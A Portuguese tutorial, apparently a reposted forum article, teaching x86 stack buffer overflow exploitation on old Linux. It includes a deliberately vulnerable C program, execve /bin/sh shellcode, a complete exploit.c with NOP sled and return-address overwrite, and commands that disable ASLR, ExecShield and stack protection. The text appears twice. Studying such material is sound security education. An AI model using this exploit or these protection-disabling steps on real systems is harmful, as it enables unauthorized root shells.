O que é a Pilha?
Em poucas palavras, a pilha (stack) é um local reservado da memória (RAM) onde o programa armazena as variáveis locais de uma função e controla a execução de um programa. Um espaço específico da pilha reservado para uma função é chamada de stack frame.
Cada elemento da pilha, assim como uma pilha de pratos, é colocado em cima do outro, e para a retirada é o processo inverso, retira-se os que estão em cima primeiro.
Sendo assim o primeiro elemento colocado na pilha será o último a ser retirado, o termo utilizado para descrever isso é FILO (First In, Last Out). Em Assembly o comando PUSH insere elementos na pilha e o POP retira esses elementos.
A memória utilizada por um programa é dividida em segmentos, dependendo da arquitetura do processador ou sistema operacional pode ser de 32 bits ou 64 bits por exemplo. Cada segmento tem um endereço e armazena algum tipo de informação. Um segmento de memória pode, por exemplo, ser endereçado em hexadecimal assim:
Isso representa o endereço de um segmento de memória de 32 bits. Os endereços de memória na pilha crescem do endereço maior para o menor. Se um programa reserva 24 bytes de memória para variáveis locais, então seriam reservados esses seguimentos:
A primeira variável inserida na pilha seria no endereço 0xbfffffec, a segunda em 0xbfffffe8 e a terceira em 0xbfffffe4, cada uma ocuparia apenas um segmento de memória caso tivessem 4 bytes de tamanho. Inserindo uma quarta variável de 12 bytes o endereço dela seria 0xbfffffd8 e ocuparia os 3 segmentos seguintes.
Repetindo, a pilha cresce do endereço MAIOR para o MENOR.
Registradores
Registradores são locais no processador utilizados para armazenar dados temporariamente. Como estão dentro do processador o acesso a eles é muito mais rápido do que o acesso a memória RAM. Existem vários tipos de registradores, é interessante conhecermos alguns:
EAX, EBX, ECX, EDX – Registradores de uso geral, utilizados para manipular dados.
EBP – Extended Base Pointer, geralmente aponta para o início ou base da pilha.
ESP – Extended Stack Pointer, aponta para o topo da pilha.
EIP – Extended Instruction Pointer, aponta para o endereço da próxima instrução a ser executada.
Construção de um Stack Frame
Agora entenderemos como um stack frame é construído, ou seja, como é reservado um espaço na memória para uma função quando ela é chamada. É importante entender tudo isso porque depois a construção do exploit se tornará mais simples.
Vamos utilizar a pilha criada anteriormente, imaginemos um programa com o seguinte código:
Em (dis)assembly, uma representação simplificada desse código seria:
Na função “main” primeiro é colocado na pilha o parâmetro da função “exibir” com o comando PUSH e então é chamada a função com o CALL. Quando o CALL é executado sempre é PUSH'ado na pilha o endereço que está no registrador EIP, que vocês se lembram aponta para a próxima instrução a ser executada.
No nosso programa o EIP armazenaria 0x00400008 que é a instrução após o CALL, isso é o endereço de retorno da função, para o programa saber de onde continuar depois que a função chamada terminar.
Então a execução do programa é redirecionada para a função “exibir” que se inicia no endereço 0x004000c0. As três linhas inicias são conhecidas como function prologue, são as reponsáveis por configurar o espaço na pilha para a função. E as três últimas são chamadas de function epilogue que restauram os valores, desfaz a pilha.
Graficamente será mais fácil de entender, vejamos como ficará nossa pilha após a execução da função “exibir”.
Como vemos, o EBP (base pointer) aponta para o início do stack frame da função e o ESP (stack pointer) aponta para o topo da pilha.
Dentro da função “exibir” quando o programa quiser trabalhar com as variáveis locais, ele acessará por EBP-4 (nome1), EBP-8 (nome2), EBP-C (nome3) e EBP-18 (nome4). Quando quiser acessar a variável passada como parâmetro o endereço será EBP+8.
Exemplo:
MOV EAX, [EBP-C] // move o valor da variável nome3 para o registrador EAX
MOV EBX, [EBP+8] // move o valor do parâmetro para o registrador EBX
Lembre-se:
EBP – XX = acesso a variável local
EBP + XX = acesso a parâmetro da função
Isso é muito útil quando fazemos engenharia reversa.
Voltando para nossa pilha... A variável nome4 possui 12 bytes, se inserirmos nela 32 bytes vai ocorrer um buffer overflow, sobrescreverá tudo que estiver abaixo dela: as outras variáveis, o EBP e por fim o endereço de retorno (EIP), assim quando o programa tentar retornar vai encontrar um valor qualquer no EIP e não conseguirá continuar, vai travar. Isso é a Segmentation fault.
Exploitation
Um exploit se beneficia dessa capacidade de sobrescrever o endereço de retorno da função, ao invés de sobrescrevê-lo com um valor qualquer o exploit insere um valor minuciosamente calculado.
Vamos comparar a pilha original com uma criada por um exploit.
Na pilha do exploit, quando o programa buscar o endereço de retorno na pilha em 0xbffffff4, ele encontrará o valor 0xbfffffd8 e vai executá-lo voltando para o início da pilha, encontrará a instrução NOP (No-Operation, código 0x90), essa instrução como o próprio nome diz não faz nada, só pula para a instrução de baixo.
A execução vai escorregando pelos NOPs, isso é chamado de NOP-Sled, até chegar na instrução “execute /bin/sh”, que no Linux fará com que execute o shell “sh”. O shell é executado e o atacante obtém o controle do sistema operacional podendo executar os comandos que quiser no sistema, se o programa explorado possuir permissão de root.
Essa é a grande jogada de um exploit, explora e controla uma falha no programa (vulnerabilidade) para obter o controle do sistema ou executar o que desejar. Na prática o código não é tão simples assim mas a lógica é essa.
Praticando os conceitos
Agora vamos ver como tudo isso funciona na prática.
Vou criar o programa vulneravel.c com esse código:
É um programa com uma vulnerabilidade de buffer overflow, a variável “buffer” possui 64 bytes de tamanho mas através do parâmetro podemos passar uma string do tamanho que quisermos, se a string for muito grande ocorrerá a Segmentation fault.
Vamos começar a construir nosso exploit para ele. Baseando-se na explicação anterior sobre a pilha do exploit, se a variável “buffer” possui 64 bytes, quantos bytes precisaríamos para sobrescrever a pilha e chegar até o endereço de retorno da função “exibe”?
64 bytes (buffer) + 4 bytes (EBP) + 4 bytes (retorno) = 72 bytes
Já sabemos o tamanho, agora precisamos descobrir em qual endereço da pilha será inserida a variável “buffer” pois utilizaremos esse endereço para sobrescrever o retorno original, no exemplo lembram que utilizamos o 0xbfffffd8 para retornar ao início da pilha.
Existem várias maneiras de descobrir isso, a que eu achei mais fácil de entender e executar foi utilizando o GDB, Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., é um debugger/disassembler assim como o OllyDbg, mas é para o Linux e executado na linha de comando.
Primeiro compilamos nosso vulneravel.c com o comando:
gcc -g -o vulneravel vulneravel.c
A opção “-g” é para inserir mais informações de debugger no arquivo. Depois executamos o GDB chamando nosso programa com o comando:
gdb -q ./vulneravel
O “-q” é para omitir a mensagem de boas-vindas do programa. Depois usamos o comando “list” para exibir as linhas do programa, colocamos um breakpoint com o comando “break 6”, isto é, na 6ª linha, bem após a variável “buffer” receber seu valor.
Agora podemos executar o programa, vamos passar como parâmetro uma string com exatamente 64 bytes, ou 64 “A”s, o comando é:
run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Dica: podemos utilizar o Perl para imprimir os 64 “A”s ao invés de digitar um por um, o comando ficaria:
run $(perl -e “print 'A'x64”)
A execução para bem no nosso breakpoint, uma maneira simples de descobrir em qual endereço está a variável “buffer” é executando:
x/x buffer
Significa: examine (x) a variável buffer e apresente o resultado em hexadecimal (x).
Como podemos ver o resultado foi:
0xbffffadc: 0x41414141
A variável buffer está no endereço 0xbffffadc e contém 0x41414141, 0x41 é o código hexadecimal para a letra A, podem conferir na tabela ASCII.
Agora já sabemos o tamanho do buffer para sobrescrever o endereço de retorno e o endereço da variável buffer, só nos resta saber como fazer o programa executar o shell “sh” do linux.
No exemplo eu coloquei “execute /bin/sh”, mas o computador não entende isso, ele entende linguagem de máquina, temos que passar pra ele os comandos na linguagem que ele entende.
Assim como ele sabe que o código hexadecimal 0x90 equivale ao NOP do Assembly, existem inúmeros outros códigos que representam os outros comandos, são chamados de opcodes.
Os opcodes que iremos utilizar são esses:
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\ x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\ xff/bin/sh#"
Essa sequência é chamada de shellcode, ou seja, o código para se obter o shell, não vou explicar como ele é construído, isso renderia vamos posts, por enquanto basta sabermos que são códigos hexadecimais que representam a instrução “execute /bin/sh”.
Já temos todas as informações necessárias para construir o exploit do nosso programa vulnerável, agora é só colocarmos tudo junto em um programa.
O código-fonte do nosso exploit.c é esse:
Praticamente eu já expliquei tudo o que ele faz, vai sobrescrever a pilha com as informações previamente calculadas da mesma forma que foi demonstrado no exemplo anterior.
Exploit compilado e chegamos no momento tão esperado, a execução do exploit!
Perfeito! Tudo conforme planejamos, através de uma vulnerabilidade conseguimos obter o shell de um sistema, a partir disso teríamos o caminho livre para a exploração da máquina.
Considerações finais
Lembrando novamente que esse foi um ambiente controlado e propício para a exploração, utilizei a distro Debian 3.0 R4 e o gcc 2.95.4-14, que são versões bem antigas que ainda não tinham implementadas várias proteções contra exploração de stack overflow. As distros atuais possuem uma série de melhorias mas também é possível desabilitá-las para reproduzir os exemplos.
A ideia do artigo é demonstrar a lógica de um exploit, isso não muda, e também servir como um ponto de partida para estudos mais avançados. Mesmo existindo as proteções sempre há falhas e meios de explorá-las. Cabe aos profissionais de segurança e desenvolvedores de softwares conhecê-las para melhor proteger seus sistemas.
Espero que tenham gostado, dúvidas só deixar um comentário.
Para reproduzir os exemplos desse artigo em distribuições Linux mais atuais é necessário desativar algumas proteções, faça o seguinte:
- Debian e Ubuntu based, desativar ASLR:
echo 0 > /proc/sys/kernel/randomize_va_space
- Red Hat based, desativar ASLR e DEP (ExecShield):
echo 0 > /proc/sys/kernel/exec-shield-randomize
echo 0 > /proc/sys/kernel/exec-shield
- GCC a partir da versão 4.1 compilar com diretiva -fno-stack-protector, exemplo:
gcc -fno-stack-protector -o overflow overflow.c
Fiz o teste no Debian 5.0.3 com GCC 4.3.2-2 e funcionou corretamente.
Ronaldo Lima
crimesciberneticos.com
Em poucas palavras, a pilha (stack) é um local reservado da memória (RAM) onde o programa armazena as variáveis locais de uma função e controla a execução de um programa. Um espaço específico da pilha reservado para uma função é chamada de stack frame.
Cada elemento da pilha, assim como uma pilha de pratos, é colocado em cima do outro, e para a retirada é o processo inverso, retira-se os que estão em cima primeiro.
Sendo assim o primeiro elemento colocado na pilha será o último a ser retirado, o termo utilizado para descrever isso é FILO (First In, Last Out). Em Assembly o comando PUSH insere elementos na pilha e o POP retira esses elementos.
A memória utilizada por um programa é dividida em segmentos, dependendo da arquitetura do processador ou sistema operacional pode ser de 32 bits ou 64 bits por exemplo. Cada segmento tem um endereço e armazena algum tipo de informação. Um segmento de memória pode, por exemplo, ser endereçado em hexadecimal assim:
Código:
0xbffffffe
Código:
0xbfffffd8 – 4ª variável 0xbfffffdc – 4ª 0xbfffffe0 – 4ª 0xbfffffe4 – 3ª variável 0xbfffffe8 – 2ª variável 0xbfffffec – 1ª variável
Repetindo, a pilha cresce do endereço MAIOR para o MENOR.
Registradores
Registradores são locais no processador utilizados para armazenar dados temporariamente. Como estão dentro do processador o acesso a eles é muito mais rápido do que o acesso a memória RAM. Existem vários tipos de registradores, é interessante conhecermos alguns:
EAX, EBX, ECX, EDX – Registradores de uso geral, utilizados para manipular dados.
EBP – Extended Base Pointer, geralmente aponta para o início ou base da pilha.
ESP – Extended Stack Pointer, aponta para o topo da pilha.
EIP – Extended Instruction Pointer, aponta para o endereço da próxima instrução a ser executada.
Construção de um Stack Frame
Agora entenderemos como um stack frame é construído, ou seja, como é reservado um espaço na memória para uma função quando ela é chamada. É importante entender tudo isso porque depois a construção do exploit se tornará mais simples.
Vamos utilizar a pilha criada anteriormente, imaginemos um programa com o seguinte código:
Código:
main(int argc, char *argv[]){ exibir(argv[1]); printf(“OK”); } exibir(char *arg[]){ char nome1[4], nome2[4], nome3[4]; char nome4[12]; strcpy(nome4, arg); … }
Código:
main: 0x00400000 PUSH argv[1] 0x00400004 CALL exibir 0x00400008 PUSH “OK” 0x0040000c CALL printf exibir: 0x004000c0 PUSH EBP 0x004000c4 MOV EBP, ESP 0x004000c8 SUB ESP, 18h 0x004000cc MOV EAX, [EBP+8] 0x004000d0 MOV [EBP-18], EAX … … … 0x004000e0 ADD ESP, 18h 0x004000e4 MOV ESP, EBP 0x004000e8 POP EBP 0x004000ec RET
No nosso programa o EIP armazenaria 0x00400008 que é a instrução após o CALL, isso é o endereço de retorno da função, para o programa saber de onde continuar depois que a função chamada terminar.
Então a execução do programa é redirecionada para a função “exibir” que se inicia no endereço 0x004000c0. As três linhas inicias são conhecidas como function prologue, são as reponsáveis por configurar o espaço na pilha para a função. E as três últimas são chamadas de function epilogue que restauram os valores, desfaz a pilha.
Graficamente será mais fácil de entender, vejamos como ficará nossa pilha após a execução da função “exibir”.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Como vemos, o EBP (base pointer) aponta para o início do stack frame da função e o ESP (stack pointer) aponta para o topo da pilha.
Dentro da função “exibir” quando o programa quiser trabalhar com as variáveis locais, ele acessará por EBP-4 (nome1), EBP-8 (nome2), EBP-C (nome3) e EBP-18 (nome4). Quando quiser acessar a variável passada como parâmetro o endereço será EBP+8.
Exemplo:
MOV EAX, [EBP-C] // move o valor da variável nome3 para o registrador EAX
MOV EBX, [EBP+8] // move o valor do parâmetro para o registrador EBX
Lembre-se:
EBP – XX = acesso a variável local
EBP + XX = acesso a parâmetro da função
Isso é muito útil quando fazemos engenharia reversa.
Voltando para nossa pilha... A variável nome4 possui 12 bytes, se inserirmos nela 32 bytes vai ocorrer um buffer overflow, sobrescreverá tudo que estiver abaixo dela: as outras variáveis, o EBP e por fim o endereço de retorno (EIP), assim quando o programa tentar retornar vai encontrar um valor qualquer no EIP e não conseguirá continuar, vai travar. Isso é a Segmentation fault.
Exploitation
Um exploit se beneficia dessa capacidade de sobrescrever o endereço de retorno da função, ao invés de sobrescrevê-lo com um valor qualquer o exploit insere um valor minuciosamente calculado.
Vamos comparar a pilha original com uma criada por um exploit.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Na pilha do exploit, quando o programa buscar o endereço de retorno na pilha em 0xbffffff4, ele encontrará o valor 0xbfffffd8 e vai executá-lo voltando para o início da pilha, encontrará a instrução NOP (No-Operation, código 0x90), essa instrução como o próprio nome diz não faz nada, só pula para a instrução de baixo.
A execução vai escorregando pelos NOPs, isso é chamado de NOP-Sled, até chegar na instrução “execute /bin/sh”, que no Linux fará com que execute o shell “sh”. O shell é executado e o atacante obtém o controle do sistema operacional podendo executar os comandos que quiser no sistema, se o programa explorado possuir permissão de root.
Essa é a grande jogada de um exploit, explora e controla uma falha no programa (vulnerabilidade) para obter o controle do sistema ou executar o que desejar. Na prática o código não é tão simples assim mas a lógica é essa.
Praticando os conceitos
Agora vamos ver como tudo isso funciona na prática.
Vou criar o programa vulneravel.c com esse código:
Código:
// vulneravel.c #include <stdio.h> void exibe(char arg[]) { char buffer[64]; strcpy(buffer, arg); printf("Voce digitou: %s\n",buffer); } int main(int argc, char *argv[]) { exibe(argv[1]); return 0; }
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Vamos começar a construir nosso exploit para ele. Baseando-se na explicação anterior sobre a pilha do exploit, se a variável “buffer” possui 64 bytes, quantos bytes precisaríamos para sobrescrever a pilha e chegar até o endereço de retorno da função “exibe”?
64 bytes (buffer) + 4 bytes (EBP) + 4 bytes (retorno) = 72 bytes
Já sabemos o tamanho, agora precisamos descobrir em qual endereço da pilha será inserida a variável “buffer” pois utilizaremos esse endereço para sobrescrever o retorno original, no exemplo lembram que utilizamos o 0xbfffffd8 para retornar ao início da pilha.
Existem várias maneiras de descobrir isso, a que eu achei mais fácil de entender e executar foi utilizando o GDB, Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., é um debugger/disassembler assim como o OllyDbg, mas é para o Linux e executado na linha de comando.
Primeiro compilamos nosso vulneravel.c com o comando:
gcc -g -o vulneravel vulneravel.c
A opção “-g” é para inserir mais informações de debugger no arquivo. Depois executamos o GDB chamando nosso programa com o comando:
gdb -q ./vulneravel
O “-q” é para omitir a mensagem de boas-vindas do programa. Depois usamos o comando “list” para exibir as linhas do programa, colocamos um breakpoint com o comando “break 6”, isto é, na 6ª linha, bem após a variável “buffer” receber seu valor.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Agora podemos executar o programa, vamos passar como parâmetro uma string com exatamente 64 bytes, ou 64 “A”s, o comando é:
run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Dica: podemos utilizar o Perl para imprimir os 64 “A”s ao invés de digitar um por um, o comando ficaria:
run $(perl -e “print 'A'x64”)
A execução para bem no nosso breakpoint, uma maneira simples de descobrir em qual endereço está a variável “buffer” é executando:
x/x buffer
Significa: examine (x) a variável buffer e apresente o resultado em hexadecimal (x).
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Como podemos ver o resultado foi:
0xbffffadc: 0x41414141
A variável buffer está no endereço 0xbffffadc e contém 0x41414141, 0x41 é o código hexadecimal para a letra A, podem conferir na tabela ASCII.
Agora já sabemos o tamanho do buffer para sobrescrever o endereço de retorno e o endereço da variável buffer, só nos resta saber como fazer o programa executar o shell “sh” do linux.
No exemplo eu coloquei “execute /bin/sh”, mas o computador não entende isso, ele entende linguagem de máquina, temos que passar pra ele os comandos na linguagem que ele entende.
Assim como ele sabe que o código hexadecimal 0x90 equivale ao NOP do Assembly, existem inúmeros outros códigos que representam os outros comandos, são chamados de opcodes.
Os opcodes que iremos utilizar são esses:
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\ x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\ xff/bin/sh#"
Essa sequência é chamada de shellcode, ou seja, o código para se obter o shell, não vou explicar como ele é construído, isso renderia vamos posts, por enquanto basta sabermos que são códigos hexadecimais que representam a instrução “execute /bin/sh”.
Já temos todas as informações necessárias para construir o exploit do nosso programa vulnerável, agora é só colocarmos tudo junto em um programa.
O código-fonte do nosso exploit.c é esse:
Código:
// exploit.c #include <stdio.h> static char shellcode[]= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89" "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#"; #define NOP 0x90 // codigo hex do NOP #define LEN 64+8 // tamanho do buffer para sobrescrever o retorno #define RET 0xbffffadc // endereço de retorno do início do buffer int main() { char buffer[LEN]; // cria uma variavel com 72 bytes int i; for(i=0;i<LEN;i++) buffer[i]=NOP; // preenche a variavel inteira com NOPs // copia para a memoria a variavel com o shellcode no final dela, // só reservando os últimos 4 bytes para o endereço de retorno memcpy(&buffer[LEN-strlen(shellcode)-4], shellcode, strlen(shellcode)); // copia para os 4 últimos bytes o endereço de retorno *(int*)(&buffer[LEN-4]) = RET; // executa o programa ./vulneravel passando como parametro a variavel buffer criada execlp("./vulneravel","./vulneravel",buffer,NULL); return 0; }
Exploit compilado e chegamos no momento tão esperado, a execução do exploit!
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Perfeito! Tudo conforme planejamos, através de uma vulnerabilidade conseguimos obter o shell de um sistema, a partir disso teríamos o caminho livre para a exploração da máquina.
Considerações finais
Lembrando novamente que esse foi um ambiente controlado e propício para a exploração, utilizei a distro Debian 3.0 R4 e o gcc 2.95.4-14, que são versões bem antigas que ainda não tinham implementadas várias proteções contra exploração de stack overflow. As distros atuais possuem uma série de melhorias mas também é possível desabilitá-las para reproduzir os exemplos.
A ideia do artigo é demonstrar a lógica de um exploit, isso não muda, e também servir como um ponto de partida para estudos mais avançados. Mesmo existindo as proteções sempre há falhas e meios de explorá-las. Cabe aos profissionais de segurança e desenvolvedores de softwares conhecê-las para melhor proteger seus sistemas.
Espero que tenham gostado, dúvidas só deixar um comentário.
Para reproduzir os exemplos desse artigo em distribuições Linux mais atuais é necessário desativar algumas proteções, faça o seguinte:
- Debian e Ubuntu based, desativar ASLR:
echo 0 > /proc/sys/kernel/randomize_va_space
- Red Hat based, desativar ASLR e DEP (ExecShield):
echo 0 > /proc/sys/kernel/exec-shield-randomize
echo 0 > /proc/sys/kernel/exec-shield
- GCC a partir da versão 4.1 compilar com diretiva -fno-stack-protector, exemplo:
gcc -fno-stack-protector -o overflow overflow.c
Fiz o teste no Debian 5.0.3 com GCC 4.3.2-2 e funcionou corretamente.
Ronaldo Lima
crimesciberneticos.com
Comment